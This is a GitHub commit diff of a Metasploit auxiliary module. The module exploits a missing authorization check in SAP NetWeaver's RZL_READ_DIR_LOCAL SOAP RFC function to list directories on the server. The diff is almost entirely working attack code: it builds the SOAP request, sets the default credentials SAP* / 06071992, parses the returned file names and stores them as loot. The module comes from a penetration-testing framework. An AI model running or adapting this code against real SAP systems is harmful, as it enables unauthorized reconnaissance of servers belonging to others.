Skip to content

Commit 8e9789b

Browse files
committed
Merge pull request #5 from jvazquez-r7/sap_soap_rfc_rzl_read_dir_local_dir_cleanup
Cleanup for sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay
2 parents eee702a + e25057b commit 8e9789b

File tree

1 file changed

+59
-32
lines changed

1 file changed

+59
-32
lines changed
Lines changed: 59 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -31,23 +31,43 @@ class Metasploit4 < Msf::Auxiliary
3131

3232
def initialize
3333
super(
34-
'Name' => 'RZL_READ_DIR_LOCAL (directory listing and SMB relay)',
34+
'Name' => 'SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing',
3535
'Description' => %q{
36-
This module exploits the SAP NetWeaver RZL_READ_DIR_LOCAL Missing Authorization Check And SMB Relay Vulnerability.
37-
SAP Note 1595074 / DSECRG-12-026.
38-
RZL_READ_DIR_LOCAL returns the file names in a given directory. It returns only the first 32 characters of a filename (truncated).
39-
},
40-
'References' => [['URL','http://erpscan.com/advisories/dsecrg-12-026-sap-netweaver-rzl_read_dir_local-missing-authorization-check-and-smb-relay-vulnerability/']],
41-
'Author' => ['nmonkee'],
36+
This module exploits the SAP NetWeaver RZL_READ_DIR_LOCAL function, on the SAP
37+
SOAP RFC Service, to enumerate directory contents. It returns only the first 32
38+
characters of the filename since they are truncated.
39+
},
40+
'References' => [
41+
[ 'OSVDB', '92732'],
42+
[ 'URL', 'http://erpscan.com/advisories/dsecrg-12-026-sap-netweaver-rzl_read_dir_local-missing-authorization-check-and-smb-relay-vulnerability/' ]
43+
],
44+
'Author' =>
45+
[
46+
'Alexey Tyurin', # Vulnerability discovery
47+
'nmonkee' # Metasploit module
48+
],
4249
'License' => MSF_LICENSE
43-
)
50+
)
4451

4552
register_options([
46-
OptString.new('CLIENT', [true, 'SAP client', nil]),
47-
OptString.new('USER', [true, 'Username', nil]),
48-
OptString.new('PASS', [true, 'Password', nil]),
49-
OptString.new('PATH',[true,'File path (e.g. \\xx.xx.xx.xx\share)','c:\\'])
50-
], self.class)
53+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
54+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
55+
OptString.new('PASSWORD', [true, 'Password', '06071992']),
56+
OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc'])
57+
], self.class)
58+
end
59+
60+
def parse_xml(xml_data)
61+
files = []
62+
xml_doc = Nokogiri::XML(xml_data)
63+
xml_doc.css('item').each {|item|
64+
name = item.css('NAME')
65+
size = item.css('SIZE')
66+
if not name.empty? and not size.empty?
67+
files << { "name" => name.text, "size" => size.text }
68+
end
69+
}
70+
return files
5171
end
5272

5373
def run_host(ip)
@@ -64,32 +84,39 @@ def run_host(ip)
6484
data << '<SIZE></SIZE>'
6585
data << '</item>'
6686
data << '</FILE_TBL>'
67-
data << '<NAME>' + datastore['PATH'] + '</NAME>'
87+
data << '<NAME>' + datastore['DIR'] + '</NAME>'
6888
data << '</RZL_READ_DIR_LOCAL>'
6989
data << '</SOAP-ENV:Body>'
7090
data << '</SOAP-ENV:Envelope>'
71-
user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS'])
91+
7292
begin
73-
print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}")
74-
res = send_request_raw({
75-
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
93+
vprint_status("#{rhost}:#{rport} - Sending request to enumerate #{datastore['DIR']}")
94+
res = send_request_cgi({
95+
'uri' => '/sap/bc/soap/rfc',
7696
'method' => 'POST',
7797
'data' => data,
78-
'headers' =>{
79-
'Content-Length' => data.size.to_s,
98+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
99+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
100+
'ctype' => 'text/xml; charset=UTF-8',
101+
'headers' => {
80102
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
81-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
82-
'Authorization' => 'Basic ' + user_pass,
83-
'Content-Type' => 'text/xml; charset=UTF-8',}
84-
}, 45)
85-
if res
86-
vprint_error("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
87-
vprint_error("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
88-
vprint_error("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
89-
end
90-
rescue ::Rex::ConnectionError
91-
print_error("#{rhost}:#{rport} - Unable to connect")
92-
return
103+
},
104+
'vars_get' => {
105+
'sap-client' => datastore['CLIENT'],
106+
'sap-language' => 'EN'
107+
}
108+
})
109+
if res and res.code == 200 and res.body =~ /rfc:RZL_READ_DIR_LOCAL.Response/
110+
files = parse_xml(res.body)
111+
path = store_loot("sap.soap.rfc.dir", "text/xml", rhost, res.body, datastore['DIR'])
112+
print_good("#{rhost}:#{rport} - #{datastore['DIR']} successfully enumerated, results stored on #{path}")
113+
files.each { |f|
114+
vprint_line("Entry: #{f["name"]}, Size: #{f["size"].to_i}")
115+
}
93116
end
117+
rescue ::Rex::ConnectionError
118+
vprint_error("#{rhost}:#{rport} - Unable to connect")
119+
return
94120
end
95121
end
122+
end

0 commit comments

Comments
 (0)